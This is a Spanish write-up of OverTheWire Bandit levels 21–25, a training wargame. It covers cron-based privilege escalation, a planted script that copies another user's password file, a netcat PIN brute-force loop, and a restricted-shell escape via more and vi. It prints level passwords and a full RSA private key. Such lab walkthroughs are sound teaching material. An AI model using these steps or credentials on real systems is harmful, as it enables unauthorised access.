Inicio Overthewire - Bandit (21-25)
Entrada
Cancelar

Overthewire - Bandit (21-25)

En este artículo se agrupan otros cinco retos más, los pertenecientes a los niveles entre el 21 y 25, donde se explota otro método muy usado para escalada de privilegios dentro de máquinas de sistema Linux, la ejecución de scripts mediante el programa cron.

También, dentro de este recopilatorio está, el que para mi es el reto más original de la serie, el reto 25, que pese a no ser dificil, es rebuscado.


Nivel 21.

El enunciado dice que un programa se está ejecutando automáticamente a intervalos regulares con el programa cron, el programador de trabajos basado en el tiempo. Se debe buscar en /etc/cron.d/ la configuración y ver qué comando se está ejecutando y cada cuanto tiempo.

Se verifica que dentro de /etc/cron.d como dice el enunciado y se ve que existe el fichero cronjob_bandit22 que contiene el contenido siguiente:

1
2
3
bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

Se revisa entonces el fichero que se está ejecutado continuamente (/usr/bin/cronjob_bandit22.sh), el cual contiene las siguientes líneas:

1
2
3
4
bandit21@bandit:~$ more /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

Analizando el contenido, se puede ver que el script modifica los permisos de un fichero en la ruta /tmp al que posteriormente le añade el contenido del fichero de contraseña del usuario 22.

Por lo que si se muestra el contenido del fichero alojado en el directorio /tmp y se consigue la contraseña.

1
2
bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

Nivel 22.

El enunciado de este nivel informa de que existe un script que se ejecuta en el tiempo mediante el programa cron, como en el punto anterior.

Se verifica dentro del directorio /etc/cron.d un fichero llamado cronjob_bandit23 del cual se muestra el contenido.

1
2
3
bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null

El fichero de cron se puede ver un script que se lanza, en cual tiene el siguiente contenido.

1
2
3
4
5
6
7
8
9
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget

Se puede observar, que se guarda la contraseña del usuario bandit23 en un fichero que tiene como nombre el hash MD5 de la frase “I am user bandit23” en la ruta /tmp

Se realiza el comando para obtener el nombre del fichero del usuario bandit23, y se busca dentro de /tmp, obteniendo la contraseña de dicho usuario en el fichero /tmp/8ca319486bfbbc3663ea0fbe81326349.

1
2
bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
1
2
bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

Nivel 23.

En el nivel 23 se vuelve a referenciar a un script ejecuntándose en el tiempo, como en los dos retos anteriores, pero con la diferencia de que en esta ocasión se debe realizar un shell script para poder superarlo.

Además informa que el fichero que se cree se borrará y recomienda tener alguna copia.

Para empezar se muestra el contenido del fichero dentro de /etc/cron.d correspondiente al usuario bandit24.

1
2
3
bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

El programa cron ejecuta un script que viendo el contenido, se puede ver que ejecuta los scripts que haya en /var/spool/bandit24 y posteriormente los borra.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done

Sabiendo esto, entonces se genera un script que copie la contraseña del usuario bandit24 (como cron es ejecutado con permisos de dicho usuario, se podrá acceder al fichero) en el directorio /tmp y que asigne permisos.

El script es el siguiente:

1
bandit23@bandit:~$ echo "cp /etc/bandit_pass/bandit24 /tmp/banditpass.txt && chmod 777 /tmp/banditpass.txt" > /var/spool/bandit24/script && chmod a+x /var/spool/bandit24/script

Si se realiza bien, sólo queda esperar a que se haya borrado el script generado para ver el contenido del fichero con la contraseña en la ruta definida.

1
2
bandit23@bandit:~$ cat /tmp/banditpass.txt
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

Nivel 24.

El enunciado informa que un demonio está escuchando en el puerto 30002 y dará la contraseña del usuario siguiente si se le envía la contraseña de bandit24 y un código numérico de 4 dígitos.

También dice que no hay forma de recuperar el código PIN, excepto si se repasan todas las 10000 combinaciones, lo que se denomina, ataque de fuerza bruta.

Conociendo el comportamiento del demonio, se desarrolla el siguiente script para que vaya probando las conbinaciones desde el número 0001 hasta el número 10000.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

password="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"

for i in {0001..10000}; do
    response=$(echo "${password} ${i}" | timeout -s 9 1 nc 127.0.0.1 30002)
    check=$(echo ${response} | grep "Wrong")
    if [ ${?} -eq 0 ]; then
        echo "Contraseña fallida: ${i}"
    else
        echo "Contraseña correcta: ${i}"
        echo ${response}
        exit 0
    fi
done

Se itera sobre los número indicados, observando que al llegar al número indicado (el cual es diferente en cada sesión) mostrará el mensaje informando la contraseña.

1
2
3
4
Contraseña fallida: 2586
Contraseña fallida: 2587
Contraseña correcta: 2588
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space. Correct! The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG Exiting.

Nivel 25.

El enunciado dice que entrar en bandit26 desde bandit25 debería ser bastante fácil… El shell para el usuario bandit26 no es /bin/bash, sino otra cosa. Se debe averiguar el comportamiento y salir de ella.

Al entrar se encuentra en el directorio home del usuario bandit25 que existe una clave privada RSA para conectar por SSH al usuario bandit26.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApis2AuoooEqeYWamtwX2k5z9uU1Afl2F8VyXQqbv/LTrIwdW
pTfaeRHXzr0Y0a5Oe3GB/+W2+PReif+bPZlzTY1XFwpk+DiHk1kmL0moEW8HJuT9
/5XbnpjSzn0eEAfFax2OcopjrzVqdBJQerkj0puv3UXY07AskgkyD5XepwGAlJOG
xZsMq1oZqQ0W29aBtfykuGie2bxroRjuAPrYM4o3MMmtlNE5fC4G9Ihq0eq73MDi
1ze6d2jIGce873qxn308BA2qhRPJNEbnPev5gI+5tU+UxebW8KLbk0EhoXB953Ix
3lgOIrT9Y6skRjsMSFmC6WN/O7ovu8QzGqxdywIDAQABAoIBAAaXoETtVT9GtpHW
qLaKHgYtLEO1tOFOhInWyolyZgL4inuRRva3CIvVEWK6TcnDyIlNL4MfcerehwGi
il4fQFvLR7E6UFcopvhJiSJHIcvPQ9FfNFR3dYcNOQ/IFvE73bEqMwSISPwiel6w
e1DjF3C7jHaS1s9PJfWFN982aublL/yLbJP+ou3ifdljS7QzjWZA8NRiMwmBGPIh
Yq8weR3jIVQl3ndEYxO7Cr/wXXebZwlP6CPZb67rBy0jg+366mxQbDZIwZYEaUME
zY5izFclr/kKj4s7NTRkC76Yx+rTNP5+BX+JT+rgz5aoQq8ghMw43NYwxjXym/MX
c8X8g0ECgYEA1crBUAR1gSkM+5mGjjoFLJKrFP+IhUHFh25qGI4Dcxxh1f3M53le
wF1rkp5SJnHRFm9IW3gM1JoF0PQxI5aXHRGHphwPeKnsQ/xQBRWCeYpqTme9amJV
tD3aDHkpIhYxkNxqol5gDCAt6tdFSxqPaNfdfsfaAOXiKGrQESUjIBcCgYEAxvmI
2ROJsBXaiM4Iyg9hUpjZIn8TW2UlH76pojFG6/KBd1NcnW3fu0ZUU790wAu7QbbU
i7pieeqCqSYcZsmkhnOvbdx54A6NNCR2btc+si6pDOe1jdsGdXISDRHFb9QxjZCj
6xzWMNvb5n1yUb9w9nfN1PZzATfUsOV+Fy8CbG0CgYEAifkTLwfhqZyLk2huTSWm
pzB0ltWfDpj22MNqVzR3h3d+sHLeJVjPzIe9396rF8KGdNsWsGlWpnJMZKDjgZsz
JQBmMc6UMYRARVP1dIKANN4eY0FSHfEebHcqXLho0mXOUTXe37DWfZza5V9Oify3
JquBd8uUptW1Ue41H4t/ErsCgYEArc5FYtF1QXIlfcDz3oUGz16itUZpgzlb71nd
1cbTm8EupCwWR5I1j+IEQU+JTUQyI1nwWcnKwZI+5kBbKNJUu/mLsRyY/UXYxEZh
ibrNklm94373kV1US/0DlZUDcQba7jz9Yp/C3dT/RlwoIw5mP3UxQCizFspNKOSe
euPeaxUCgYEAntklXwBbokgdDup/u/3ms5Lb/bm22zDOCg2HrlWQCqKEkWkAO6R5
/Wwyqhp/wTl8VXjxWo+W+DmewGdPHGQQ5fFdqgpuQpGUq24YZS8m66v5ANBwd76t
IZdtF5HXs2S5CADTwniUS5mX1HO9l5gUkk+h0cH5JnPtsMCnAUM+BRY=
-----END RSA PRIVATE KEY-----

Entonces se intenta conectar al siguiente usuario con la clave, descargada previamente a la máquina local, puesto que desde el usuario bandit25 no se permitía el salto.

Se obtiene pues una conexión que muestra la informamación del usuario y cierra la conexión, por lo tanto, se verifica que shell tiene asignada el usuario en el fichero /etc/passwd:

1
2
grep 26 /etc/passwd
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

Al conocer la shell que se usa, se revisa el contenido del fichero /usr/bin/showtext para saber su comportamiento.

1
2
3
4
5
6
7
cat /usr/bin/showtext
#!/bin/sh

export TERM=linux

more ~/text.txt
exit 0

Cuando se inicia sesión, lo que realmente se está haciendo, es mostrar el contenido del fichero text.txt con el comando more.

Buscando por Internet se verifica que more es explotable para poder ejecutar comandos si se reduce el tamaño del terminal que se está usando para que no muestre el contenido completo del fichero.

Para entenderlo, si se muestra el contenido del fichero text.txt y se tiene la ventana de la terminal a pantalla completa, mostrará todo el contenido y se cerrará el proceso del comando more, puesto que ha terminado de mostrar todo el fichero.

1
2
3
4
5
6
7
  _                     _ _ _   ___   __
 | |                   | (_) | |__ \ / /
 | |__   __ _ _ __   __| |_| |_   ) / /_
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
Connection to bandit.labs.overthewire.org closed.

Sin embargo, si se reduce la altura del terminal para que sólo se muestre una parte del conetenido, entonces more se quedará corriendo (se puede ver en la parte inferior –More–(83%) indicando el porcentaje de fichero recorrido) y se podrá interactuar mediante comandos.

1
2
3
4
5
6
  _                     _ _ _   ___   __
 | |                   | (_) | |__ \ / /
 | |__   __ _ _ __   __| |_| |_   ) / /_
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
--More--(83%)

Por tanto, aprovechando esta vía, se presiona la tecla v para que abra el editor vi y poder ejecutar comandos o mostrar el contenido del fichero que aloja la contraseña del usuario, /etc/bandit_pass/bandit26.

Mediante el comando :edit /etc/bandit_pass/bandit26 se puede acceder al contenido del fichero y entonces ver la contraseña del usuario, que es 5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z.

bandit_25_1

bandit_25_2

Aunque para más comodidad, se puede obtener una shell con vi, usando el método de GTFObins.

1
2
:set shell=/bin/bash
:shell
Esta entrada está licenciada bajo CC BY 4.0 por el autor.